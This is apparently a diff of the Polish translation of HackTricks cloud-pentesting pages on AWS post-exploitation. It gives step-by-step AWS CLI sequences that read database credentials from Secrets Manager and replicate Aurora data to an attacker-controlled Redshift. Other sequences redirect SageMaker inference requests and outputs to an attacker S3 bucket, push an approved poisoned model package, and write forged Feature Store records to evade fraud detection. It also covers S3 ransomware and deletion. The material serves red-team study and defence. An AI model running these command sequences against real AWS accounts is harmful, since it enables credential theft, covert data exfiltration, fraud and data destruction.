+Wpływ: Obejście segmentacji sieci i eksfiltracja danych przez AWS APIs bez bezpośredniej łączności VPC z DB.

 <details>
-<summary>Pełny przykład CLI (Aurora MySQL)</summary>
+<summary>Pełny przebieg CLI (Aurora MySQL example)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -461,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>

 Uwagi:
- Jeśli wielozdaniowe polecenia SQL są odrzucane przez rds-data, wydaj osobne wywołania execute-statement.
+- Jeśli multi-statement SQL jest odrzucany przez rds-data, wykonaj oddzielne wywołania execute-statement.
 - Dla silników, gdzie modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
- Upewnij się, że silnik/wersja faktycznie obsługuje Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
+- Upewnij się, że silnik i wersja faktycznie obsługują Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.


-### Pozyskanie poświadczeń DB przez sekrety uwierzytelniania RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Pozyskiwanie poświadczeń DB przez sekrety uwierzytelniające RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

-Nadużyj konfiguracji RDS Proxy, aby odkryć sekret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj sekret, aby uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane są szerokie uprawnienia `secretsmanager:GetSecretValue`, co czyni to łatwym pivot do poświadczeń DB. Jeśli sekret używa CMK, źle ograniczone uprawnienia KMS mogą także pozwolić na `kms:Decrypt`.
+Nadużyj konfiguracji RDS Proxy, aby odkryć sekret w Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj sekret, by uzyskać poświadczenia bazy danych. W wielu środowiskach przyznawane jest szerokie `secretsmanager:GetSecretValue`, co czyni to niskokosztowym pivotem do poświadczeń DB. Jeśli sekret używa CMK, źle skonfigurowane uprawnienia KMS mogą również pozwolić na `kms:Decrypt`.

 Wymagane uprawnienia (minimum):
 - `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` na wskazanym SecretArn
- Opcjonalnie, gdy sekret używa CMK: `kms:Decrypt` na tym kluczu
+- `secretsmanager:GetSecretValue` dla wskazanego SecretArn
+- Opcjonalne, gdy sekret używa CMK: `kms:Decrypt` dla tego klucza

-Skutek: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalsze lateral movement.
+Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych na proxy; umożliwia bezpośredni dostęp do DB lub dalsze lateral movement.

 Kroki
 ```bash
@@ -509,27 +509,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-Czyszczenie (lab)
+Sprzątanie (laboratorium)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Potajemna ciągła eksfiltracja przez Aurora zero‑ETL do Amazon Redshift (rds:CreateIntegration)
+### Skryte ciągłe wyprowadzanie danych przez Aurora zero‑ETL do Amazon Redshift (rds:CreateIntegration)

-Wykorzystaj integrację Aurora PostgreSQL zero‑ETL do ciągłej replikacji danych produkcyjnych do namespace Redshift Serverless, którym zarządzasz. Przy luźnej polityce zasobów Redshift, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego ARN klastra Aurora, atakujący może ustanowić niemal w czasie rzeczywistym kopię danych bez DB creds, snapshots ani narażenia sieciowego.
+Wykorzystaj integrację Aurora PostgreSQL zero‑ETL do ciągłej replikacji danych produkcyjnych do Redshift Serverless namespace, którym zarządzasz. Przy permissive Redshift resource policy, która autoryzuje CreateInboundIntegration/AuthorizeInboundIntegration dla konkretnego ARN klastra Aurora, atakujący może utworzyć niemal w czasie rzeczywistym kopię danych bez DB creds, snapshots ani ekspozycji sieciowej.

-Wymagane uprawnienia (minimum):
+Permissions needed (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (do zapytań)
- `rds-data:ExecuteStatement` (opcjonalne; do inicjalnego wprowadzenia danych, jeśli konieczne)
+- `rds-data:ExecuteStatement` (opcjonalnie; do wstawienia danych w razie potrzeby)

-Testowane w: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

 <details>
-<summary>1) Utwórz namespace Redshift Serverless i workgroup</summary>
+<summary>1) Utwórz Redshift Serverless namespace + workgroup</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -545,7 +545,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>

 <details>
-<summary>2) Skonfiguruj politykę zasobów Redshift, aby umożliwić źródło Aurora</summary>
+<summary>2) Skonfiguruj politykę zasobów Redshift, aby zezwolić źródłu Aurora</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -619,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>

 <details>
-<summary>5) Zmaterializuj i wykonaj zapytania do zreplikowanych danych w Redshift</summary>
+<summary>5) Materializuj i wykonuj zapytania na zreplikowanych danych w Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -632,12 +632,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>

-Dowody zaobserwowane w teście:
+Dowody zaobserwowane podczas testu:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; zapytanie z ztl.customers zwróciło 2 wiersze (Alice, Bob).
+- SVV_INTEGRATION wskazał integration_id 377a462b-c42c-4f08-937b-77fe75d98211 i stan PendingDbConnectState przed utworzeniem bazy danych.
+- Po CREATE DATABASE FROM INTEGRATION, wylistowanie tabel ujawniło schemat ztl i tabelę customers; pobranie z ztl.customers zwróciło 2 wiersze (Alice, Bob).

-Wpływ: Ciągła eksfiltracja w niemal czasie rzeczywistym wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanego przez atakującego, bez użycia poświadczeń bazy danych, backupów ani dostępu sieciowego do klastra źródłowego.
+Wpływ: Ciągła, niemal w czasie rzeczywistym exfiltration wybranych tabel Aurora PostgreSQL do Redshift Serverless kontrolowanego przez atakującego, bez użycia poświadczeń bazy danych, backupów ani dostępu sieciowego do klastra źródłowego.


 {{#include ../../../../banners/hacktricks-training.md}}
@@ -4,38 +4,38 @@

 ## S3

-For more information check:
+Aby uzyskać więcej informacji sprawdź:

 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}

-### Poufne informacje
+### Wrażliwe informacje

-Czasami możesz znaleźć poufne informacje czytelne w bucketach. Na przykład terraform state secrets.
+Czasami będziesz w stanie znaleźć czytelne wrażliwe informacje w bucketach. Na przykład terraform state secrets.

 ### Pivoting

-Different platforms could be using S3 to store sensitive assets.\
-For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Atakujący z uprawnieniami zapisu może **modify the code** z bucketu, aby **pivot** na inne platformy, lub **takeover accounts** modyfikując pliki JS.
+Różne platformy mogą używać S3 do przechowywania wrażliwych zasobów.\
+Na przykład, **airflow** może tam przechowywać **DAGs** **code**, lub **web pages** mogą być serwowane bezpośrednio z S3. Atakujący z uprawnieniami zapisu może **modify the code** w buckecie, aby **pivot** do innych platform, lub **takeover accounts** modyfikując pliki JS.

 ### S3 Ransomware

-W tym scenariuszu, **atakujący tworzy KMS (Key Management Service) key w swoim własnym AWS account** lub w innym przejętym koncie. Następnie udostępnia ten **key accessible to anyone in the world**, pozwalając dowolnemu użytkownikowi, roli lub kontu AWS szyfrować obiekty przy użyciu tego klucza. Jednak obiekty nie mogą być odszyfrowane.
+W tym scenariuszu, **attacker creates a KMS (Key Management Service) key in their own AWS account** lub na innym skompromitowanym koncie. Następnie udostępniają ten **key accessible to anyone in the world**, pozwalając dowolnemu użytkownikowi, roli lub kontu AWS szyfrować obiekty przy użyciu tego klucza. Jednak obiekty nie będą mogły zostać odszyfrowane.

-Atakujący identyfikuje docelowy **S3 bucket and gains write-level access** do niego przy użyciu różnych metod. Może to wynikać z nieprawidłowej konfiguracji bucketu, która wystawia go publicznie, lub z uzyskania przez atakującego dostępu do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety zawierające wrażliwe informacje, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.
+Atakujący identyfikuje docelowy **S3 bucket and gains write-level access** do niego, używając różnych metod. Może to wynikać ze złej konfiguracji bucketa, która udostępnia go publicznie, lub z uzyskania przez atakującego dostępu do środowiska AWS. Atakujący zwykle celuje w buckety zawierające wrażliwe informacje, takie jak personally identifiable information (PII), protected health information (PHI), logi, backupy i inne.

-Aby ustalić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączony i czy **multi-factor authentication delete (MFA delete)** jest włączone. Jeśli Object Versioning nie jest włączone, atakujący może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, atakujący może **disable Object Versioning**. Jeśli zarówno Object Versioning, jak i MFA delete są włączone, wykonanie ransomware na tym konkretnym buckecie staje się trudniejsze.
+Aby ustalić, czy bucket może być celem ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone i czy **multi-factor authentication delete (MFA delete) jest włączone**. Jeśli Object Versioning nie jest włączone, atakujący może kontynuować. Jeśli Object Versioning jest włączone, ale MFA delete jest wyłączone, atakujący może **disable Object Versioning**. Jeśli zarówno Object Versioning, jak i MFA delete są włączone, trudniej będzie atakującemu przeprowadzić ransomware na ten konkretny bucket.

-Używając AWS API, atakujący **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie zaszyfrowuje dane w buckecie, czyniąc je niedostępnymi bez klucza.
+Przy użyciu AWS API atakujący **replaces each object in the bucket with an encrypted copy using their KMS key**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza.

-Aby wywrzeć dalszą presję, atakujący planuje usunięcie KMS key użytego w ataku. Daje to ofierze 7-dniowy okres na odzyskanie danych, zanim klucz zostanie usunięty i dane zostaną trwale utracone.
+Aby zwiększyć presję, atakujący planuje usunięcie klucza KMS użytego w ataku. Daje to ofierze 7-dniowy okres na odzyskanie danych, zanim klucz zostanie usunięty i dane zostaną trwale utracone.

-Na koniec atakujący może przesłać końcowy plik, zwykle o nazwie "ransom-note.txt", który zawiera instrukcje dla ofiary, jak odzyskać swoje pliki. Plik ten jest przesyłany bez szyfrowania, prawdopodobnie aby zwrócić uwagę ofiary i poinformować ją o ataku ransomware.
+W końcu atakujący może przesłać plik końcowy, zwykle o nazwie "ransom-note.txt", który zawiera instrukcje dla ofiary, jak odzyskać pliki. Ten plik jest przesyłany bez szyfrowania, prawdopodobnie po to, by zwrócić uwagę ofiary i poinformować ją o ataku ransomware.

 ### `s3:RestoreObject`

-Atakujący z uprawnieniem s3:RestoreObject może reaktywować obiekty zarchiwizowane w Glacier lub Deep Archive, czyniąc je tymczasowo dostępnymi. Umożliwia to odzyskanie i exfiltrację historycznie zarchiwizowanych danych (backupy, snapshoty, logi, certyfikaty, stare sekrety), które normalnie byłyby poza zasięgiem. Jeśli atakujący połączy to uprawnienie z uprawnieniami do odczytu (np. s3:GetObject), może uzyskać pełne kopie wrażliwych danych.
+Atakujący posiadający uprawnienie s3:RestoreObject może reaktywować obiekty zarchiwizowane w Glacier lub Deep Archive, czyniąc je tymczasowo dostępnymi. Umożliwia to odzyskanie i wykradzenie historycznie zarchiwizowanych danych (backupy, snapshoty, logi, certyfikaty, stare sekrety), które normalnie byłyby poza zasięgiem. Jeśli atakujący połączy to uprawnienie z uprawnieniami do odczytu (np. s3:GetObject), może uzyskać pełne kopie wrażliwych danych.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -47,7 +47,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`

-Atakujący posiadający uprawnienie `s3:Delete*` może usuwać obiekty, wersje i całe buckets, zakłócać kopie zapasowe oraz powodować natychmiastową i nieodwracalną utratę danych, zniszczenie dowodów oraz kompromitację artefaktów kopii zapasowych lub mechanizmów przywracania.
+Atakujący posiadający uprawnienie s3:Delete* może usuwać obiekty, wersje i całe buckety, zakłócać kopie zapasowe oraz powodować natychmiastową i nieodwracalną utratę danych, zniszczenie dowodów i kompromitację artefaktów kopii zapasowych lub mechanizmów odzyskiwania.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -4,16 +4,16 @@

 ## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig

-Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami.
+Wykorzystaj zarządzanie SageMaker endpoint, aby umożliwić pełne przechwytywanie request/response do attacker‑controlled S3 bucket bez modyfikowania modelu ani container. Wykorzystuje zero/low‑downtime rolling update i wymaga tylko endpoint management permissions.

-### Requirements
+### Wymagania
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (lub użyj istniejącego bucketu w tym samym koncie)
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
- Target: istniejący InService real‑time endpoint w tym samym koncie/regionie
+- S3: `s3:CreateBucket` (or use an existing bucket in the same account)
+- Opcjonalne (jeśli używasz SSE‑KMS): `kms:Encrypt` na wybranym CMK
+- Cel: Istniejący InService real‑time endpoint w tym samym koncie/regionie

-### Steps
-1) Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne
+### Kroki
+1) Zidentyfikuj InService endpoint i zbierz aktualne warianty produkcyjne
 ```bash
 REGION=${REGION:-us-east-1}
 EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,13 +22,13 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
 echo "EndpointConfig=$CFG"
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Przygotuj docelowe miejsce attacker S3 dla captures
+2) Przygotuj attacker S3 jako miejsce docelowe dla przechwytywań
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-capture-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION
 ```
-3) Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket
+3) Utwórz nowy EndpointConfig, który zachowa te same warianty, ale włączy DataCapture do attacker bucket

 Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.
 ```bash
@@ -54,12 +54,12 @@ aws sagemaker create-endpoint-config \
 --production-variants file:///tmp/pv.json \
 --data-capture-config file:///tmp/dc.json
 ```
-4) Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów)
+4) Zastosuj nową konfigurację za pomocą rolling update (minimal/no downtime)
 ```bash
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo)
+5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli jest ruch na żywo)
 ```bash
 echo '{"inputs":[1,2,3]}' > /tmp/payload.json
 aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
@@ -71,21 +71,20 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
 aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
 ```
 ### Wpływ
- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.
+- Pełna eksfiltracja real‑time inference request i response payloads (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
+- Brak zmian w model/container image i jedynie endpoint‑level changes, co umożliwia stealthy ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.

+## SageMaker async inference output hijack przez UpdateEndpoint AsyncInferenceConfig

-## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
-
-Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera.
+Wykorzystaj endpoint management, aby przekierować asynchronous inference outputs do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To exfiltrates model predictions (i wszelkie transformed inputs zawarte przez container) bez modyfikowania model/container.

 ### Wymagania
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu)
- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne
+- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (via the model execution role or a permissive bucket policy)
+- Target: An InService endpoint gdzie asynchronous invocations są (lub będą) używane

 ### Kroki
-1) Zbierz bieżące ProductionVariants z docelowego endpointu
+1) Zbierz current ProductionVariants z docelowego endpointu
 ```bash
 REGION=${REGION:-us-east-1}
 EP=<target-endpoint-name>
@@ -98,7 +97,7 @@ ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION || true
 ```
-3) Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket
+3) Sklonuj EndpointConfig i hijack outputs AsyncInference do attacker bucket
 ```bash
 NEWCFG=${CUR_CFG}-async-exfil
 cat > /tmp/async_cfg.json << JSON
@@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-4) Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3
+4) Wywołaj asynchroniczne wywołanie i zweryfikuj, że obiekty lądują w S3 atakującego
 ```bash
 aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
 aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,21 +115,21 @@ sleep 30
 aws s3 ls s3://$BUCKET/async-out/ --recursive || true
 aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
 ```
-### Impact
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju.
+### Wpływ
+- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając potajną eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed/po przetworzeniu generowanych przez kontener, bez zmiany kodu modelu ani obrazu i przy minimalnym lub żadnym czasie przestoju.


-## SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved)
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

-Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup.
+Jeśli atakujący może wywołać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele potoków CI/CD automatycznie wdraża wersje modeli oznaczone jako Approved do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycję międzykontową można wzmocnić poprzez permisywną politykę zasobu ModelPackageGroup.

-### Requirements
+### Wymagania
 - IAM (minimum, aby zatruć istniejącą grupę): `sagemaker:CreateModelPackage` na docelowym ModelPackageGroup
- Opcjonalne (aby utworzyć grupę, jeśli jej nie ma): `sagemaker:CreateModelPackageGroup`
+- Opcjonalne (do utworzenia grupy, jeśli nie istnieje): `sagemaker:CreateModelPackageGroup`
 - S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji
+- Cel: Model Package Group, którą downstream automation obserwuje pod kątem wersji Approved

-### Steps
+### Kroki
 1) Ustaw region i utwórz/znajdź docelowy Model Package Group
 ```bash
 REGION=${REGION:-us-east-1}
@@ -145,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
 head -c 1024 </dev/urandom > /tmp/model.tar.gz
 aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
 ```
-3) Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC
+3) Zarejestruj złośliwą (tutaj nieszkodliwą) Approved model package version odwołującą się do publicznego obrazu AWS DLC
 ```bash
 IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
 cat > /tmp/inf.json << JSON
@@ -162,17 +161,17 @@ cat > /tmp/inf.json << JSON
 JSON
 aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
 ```
-4) Zweryfikuj, że nowa wersja Approved istnieje
+4) Zweryfikuj, że nowa zatwierdzona wersja istnieje
 ```bash
 aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
 ```
 ### Wpływ
- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training.
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami.
+- Poison the Model Registry with an Approved version that references attacker-controlled code. Pipelines that auto-deploy Approved models may pull and run the attacker image, yielding code execution under endpoint/training roles.
+- Przy permisywnej ModelPackageGroup resource policy (PutModelPackageGroupPolicy), to nadużycie może być wywołane cross-account.

 ## Feature store poisoning

-Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
+Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać wartości cech na żywo wykorzystywane przez online inference. W połączeniu z `sagemaker:GetRecord`, attacker może odczytać sensitive features. To nie wymaga dostępu do models ani endpoints.

 {{#ref}}
 feature-store-poisoning.md
@@ -2,18 +2,18 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Wykorzystaj `sagemaker:PutRecord` na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech używane przez inference w czasie rzeczywistym. W połączeniu z `sagemaker:GetRecord`, atakujący może odczytać wrażliwe cechy. Nie wymaga to dostępu do modeli ani endpointów.
+Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.

 ## Wymagania
 - Uprawnienia: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cel: Feature Group z włączonym OnlineStore (zazwyczaj wspierający inference w czasie rzeczywistym)
- Złożoność: **LOW** - Proste polecenia AWS CLI, bez potrzeby manipulacji modelem
+- Cel: Feature Group z włączonym OnlineStore (zazwyczaj obsługujący predykcje w czasie rzeczywistym)
+- Złożoność: **NISKA** - Proste polecenia AWS CLI, brak potrzeby modyfikacji modelu

 ## Kroki

 ### Rozpoznanie

-1) Wypisz Feature Groups z włączonym OnlineStore
+1) Wyświetl Feature Groups z włączonym OnlineStore
 ```bash
 REGION=${REGION:-us-east-1}
 aws sagemaker list-feature-groups \
@@ -21,25 +21,25 @@ aws sagemaker list-feature-groups \
 --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
 --output table
 ```
-2) Opisz docelowy Feature Group, aby zrozumieć jego schemat.
+2) Opisz docelowy Feature Group, aby zrozumieć jego schemat
 ```bash
 FG=<feature-group-name>
 aws sagemaker describe-feature-group \
 --region $REGION \
 --feature-group-name "$FG"
 ```
-Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do utworzenia poprawnych rekordów.
+Zwróć uwagę na `RecordIdentifierFeatureName`, `EventTimeFeatureName` oraz wszystkie definicje cech. Są one wymagane do przygotowania poprawnych rekordów.

-### Scenariusz Ataku 1: Data Poisoning (Overwrite Existing Records)
+### Scenariusz ataku 1: Data Poisoning (Overwrite Existing Records)

-1) Odczytaj bieżący prawidłowy rekord
+1) Odczytaj aktualny prawidłowy rekord
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-2) Zatruj rekord złośliwymi wartościami, używając parametru inline `--record`
+2) Zatruj rekord złośliwymi wartościami, używając inline parametru `--record`
 ```bash
 NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
 ]" \
 --target-stores OnlineStore
 ```
-3) Zweryfikuj poisoned data
+3) Zweryfikuj zatrute dane
 ```bash
 aws sagemaker-featurestore-runtime get-record \
 --region $REGION \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-001
 ```
-**Wpływ**: Modele ML wykorzystujące tę cechę zobaczą teraz `risk_score=0.99` dla prawidłowego użytkownika, co może zablokować jego transakcje lub usługi.
+**Wpływ**: Modele ML korzystające z tej cechy będą teraz widzieć `risk_score=0.99` dla uprawnionego użytkownika, potencjalnie blokując jego transakcje lub usługi.

-### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
+### Scenariusz ataku 2: Malicious Data Injection (Create Fraudulent Records)

-Wstrzyknij zupełnie nowe rekordy ze zmanipulowanymi cechami, aby ominąć mechanizmy kontroli bezpieczeństwa:
+Wstrzyknięcie całkowicie nowych rekordów ze zmanipulowanymi cechami, aby obejść mechanizmy bezpieczeństwa:
 ```bash
 NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
 --feature-group-name "$FG" \
 --record-identifier-value-as-string user-999
 ```
-**Wpływ**: Atakujący tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może dokonywać wysokokwotowych oszukańczych transakcji, nie uruchamiając systemu wykrywania oszustw.
+**Wpływ**: Attacker tworzy fałszywą tożsamość z niskim wynikiem ryzyka (0.01), która może wykonywać high-value fraudulent transactions bez uruchamiania fraud detection.

-### Scenariusz ataku 3: Eksfiltracja danych wrażliwych
